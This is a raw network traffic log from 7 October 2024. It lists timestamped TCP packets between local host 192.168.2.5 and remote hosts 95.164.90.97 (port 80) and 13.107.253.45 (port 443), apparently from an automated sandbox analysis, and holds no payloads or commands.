Oct 7, 2024 21:18:37.296180964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296190977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296200991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296200991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296226025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296250105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296437979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296447992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296463966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296479940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296489000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296489954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296500921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296510935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296515942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296519995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296529055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296530962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296541929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296554089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.296555042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296581030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.296598911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.297107935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297118902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297128916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297139883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297151089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297157049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.297161102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297177076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297187090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297187090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.297197104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297204971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.297228098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.297249079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.297404051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297415018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297424078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297456026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.297456980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297472000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297481060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.297482014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297492027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.297507048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.297549963 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.313152075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313204050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313215971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313260078 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.313277006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313287973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313335896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.313349009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313388109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313426018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.313652992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313663960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313714027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.313745975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313803911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313805103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.313816071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313827991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.313863039 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.313875914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.314006090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.314018011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.314028025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.314047098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.314065933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.314132929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.314145088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.314155102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.314167976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.314174891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.314201117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.314214945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.314480066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.314491034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.314527988 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.353948116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.353981972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.353992939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.354037046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.354080915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.354109049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.354120970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.354131937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.354142904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.354156971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.354182959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.365601063 CEST	443	49846	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.366270065 CEST	49846	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.366290092 CEST	443	49846	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.366611958 CEST	49846	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.366617918 CEST	443	49846	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.375855923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.375876904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.375889063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.375936031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.375973940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.376125097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376137018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376147032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376157999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376169920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376194000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.376209021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.376288891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376300097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376312017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376329899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376338959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.376363993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.376529932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376542091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376590014 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.376635075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376646996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376705885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376717091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376728058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376739025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376749039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.376750946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.376761913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.376785040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.376902103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377032042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377043009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377055883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377068043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377074003 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377082109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377093077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377094030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377103090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377104998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377132893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377152920 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377341032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377351999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377370119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377381086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377412081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377435923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377598047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377609015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377619028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377629042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377640009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377643108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377652884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377667904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377680063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377710104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377888918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377899885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377911091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377921104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377929926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377939939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377949953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377954960 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377959967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377971888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377975941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.377983093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377995014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.377999067 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.378007889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.378027916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.378047943 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.404954910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405005932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405018091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405024052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.405078888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.405096054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405107021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405118942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405131102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405147076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.405158997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.405239105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405251980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405261993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405272007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405283928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405293941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405296087 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.405306101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405314922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.405318975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405328035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.405332088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.405363083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.405378103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.406101942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406114101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406124115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406135082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406146049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406157970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406162024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.406172037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406183958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406194925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406197071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.406209946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.406210899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406224966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406235933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406239033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.406246901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406260014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406260014 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.406272888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406280041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.406286001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406295061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.406299114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.406325102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.406347036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.407850981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407862902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407874107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407886982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407896042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407906055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.407907963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407917976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.407922029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407933950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407944918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407948971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.407957077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407967091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.407974005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407984972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.407987118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.407996893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.408006907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.408010960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.408023119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.408032894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.408036947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.408042908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.408055067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.408061981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.408238888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.408238888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.409044981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.409058094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.409068108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.409132957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.436209917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.436224937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.436237097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.436294079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.436305046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.436310053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.436317921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.436357021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.436412096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.436515093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.445533037 CEST	443	49845	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.446712017 CEST	49845	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.446732044 CEST	443	49845	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.447412014 CEST	49845	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.447418928 CEST	443	49845	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.447566986 CEST	443	49842	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.447938919 CEST	49842	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.447951078 CEST	443	49842	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.448291063 CEST	49842	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.448297024 CEST	443	49842	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.458072901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458086014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458103895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458115101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458120108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458125114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458134890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.458169937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.458203077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.458450079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458493948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458496094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.458506107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458534002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.458559990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.458725929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458736897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458748102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458760023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458786011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.458796978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.458924055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.458935976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459111929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459120989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459139109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459151983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459161043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.459166050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459187984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.459201097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.459336042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459347010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459357023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459415913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.459415913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.459474087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459482908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459500074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459508896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459515095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459521055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459530115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459534883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459573030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.459611893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.459613085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459625959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459636927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459670067 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.459685087 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.459698915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459712029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459753990 CEST	49810	80	192.168.2.5	95.164.90.97
